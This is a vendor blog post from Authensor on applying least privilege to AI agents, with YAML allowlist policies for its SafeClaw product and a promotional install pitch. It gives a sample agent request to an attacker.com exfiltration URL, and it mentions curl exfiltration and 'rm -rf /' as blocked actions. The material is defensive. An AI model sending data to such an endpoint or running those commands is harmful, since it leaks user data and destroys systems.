2025-12-22 · Authensor

Least Privilege Pattern for AI Agents

The least privilege pattern grants each AI agent only the minimum set of permissions required to perform its designated task, denying all other actions by default to minimize the blast radius of compromised or misbehaving agents.

Problem Statement

AI agents are typically granted broad permissions — full filesystem access, unrestricted shell execution, open network connectivity. A coding agent that only needs to write to /src can also write to /etc/passwd. A summarization agent that only needs to read documents can also execute shell commands. Over-permissioned agents create unnecessary attack surface. When an agent is compromised, prompt-injected, or produces unexpected behavior, the damage it can inflict is proportional to its permissions. Reducing permissions to the minimum necessary set limits the blast radius of any failure mode.

Solution

The principle of least privilege is a foundational security concept from operating system design (Saltzer and Schroeder, 1975). Applied to AI agents, it requires three steps:

Step 1: Enumerate required actions. For each agent, document every action type, resource path, command, and network endpoint the agent legitimately needs. A coding agent might need file_write to /project/src, shell_exec for npm test and npm run build, and network access to https://registry.npmjs.org. A data analysis agent might need file_read on /data/*.csv and nothing else.

Step 2: Write minimal allow rules. Create policy rules that permit exactly the enumerated actions and nothing more. Use specific conditions (starts_with, equals, regex) to constrain each rule as tightly as possible. Avoid wildcards and broad patterns.

Step 3: Rely on deny-by-default. Every action not covered by an explicit allow rule is denied. The deny-by-default fallback ensures that the permission set cannot exceed what is explicitly defined.

The result is a per-agent permission boundary. Each agent operates within a narrowly scoped allowlist. An agent that is prompt-injected into attempting to exfiltrate data via curl fails because its policy does not include a rule permitting network requests to arbitrary domains. An agent that hallucinates a destructive rm -rf / command fails because its policy permits shell_exec only for specific build commands.

Least privilege also reduces the complexity of security analysis. Auditing 5 narrow allow rules is tractable. Auditing the implicit permissions of an unconstrained agent is not.

The pattern compounds with per-agent isolation: in a multi-agent system, each agent receives its own minimal policy. A research agent's permissions do not extend to the deployment agent's capabilities, even if both agents run in the same environment.

Implementation

SafeClaw, by Authensor, implements the least privilege pattern through its deny-by-default policy engine and per-rule condition matching. Each SafeClaw policy is a minimal allowlist: only the rules defined are permitted; everything else is denied.

SafeClaw's condition operators (equals, starts_with, contains, regex) enable precise scoping. A rule that allows file_write with path.starts_with: "/project/src" does not permit writes to /project/config or /etc. A rule that allows shell_exec with command.starts_with: "npm test" does not permit npm run deploy or rm -rf.

SafeClaw's first-match-wins evaluation ensures rule ordering is deterministic. More restrictive rules placed earlier in the list take precedence over broader rules. This enables layered permission structures where specific denials override general allows.

Policy evaluation completes in sub-millisecond time with zero third-party dependencies. SafeClaw is 100% open source (MIT license), written in TypeScript strict mode, and validated by 446 tests. The control plane (safeclaw.onrender.com) sees only action metadata, never keys or data.

Install SafeClaw with npx @authensor/safeclaw. Free tier with 7-day renewable keys, no credit card required. The browser dashboard visualizes the effective permission set for each agent.

Code Example

Minimal permission policy for a coding agent:

# Agent: coding-assistant

Task: Write code in /project/src, run tests, read docs

rules:
  - name: "allow-src-writes"
    action: file_write
    conditions:
      path:
        starts_with: "/project/src"
    effect: ALLOW


- name: "allow-test-reads"
    action: file_read
    conditions:
      path:
        starts_with: "/project"
    effect: ALLOW



- name: "allow-npm-test"
    action: shell_exec
    conditions:
      command:
        equals: "npm test"
    effect: ALLOW



- name: "allow-npm-build"
    action: shell_exec
    conditions:
      command:
        equals: "npm run build"
    effect: ALLOW



# Total: 4 rules. Everything else is denied.
  # The agent CANNOT:
  #   - Write outside /project/src
  #   - Execute arbitrary shell commands
  #   - Make network requests
  #   - Read files outside /project

Minimal permission policy for a data analysis agent:

# Agent: data-analyst

Task: Read CSV files, nothing else

rules:
  - name: "allow-csv-reads"
    action: file_read
    conditions:
      path:
        regex: "^/data/.*\\.csv$"
    effect: ALLOW


# Total: 1 rule. The agent CANNOT:
  #   - Write any file
  #   - Execute any shell command
  #   - Make any network request
  #   - Read non-CSV files

Action request denied by least privilege:

{
  "type": "network",
  "url": "https://attacker.com/exfil?data=sensitive",
  "agent": "coding-assistant"
}

Result: DENY. The coding-assistant policy contains no network allow rules. Least privilege ensures the agent cannot make network requests even though it can write code.

Trade-offs

When to Use

When Not to Use

Related Patterns

Cross-References

Try SafeClaw

Action-level gating for AI agents. Set it up in your browser in 60 seconds.

$ npx @authensor/safeclaw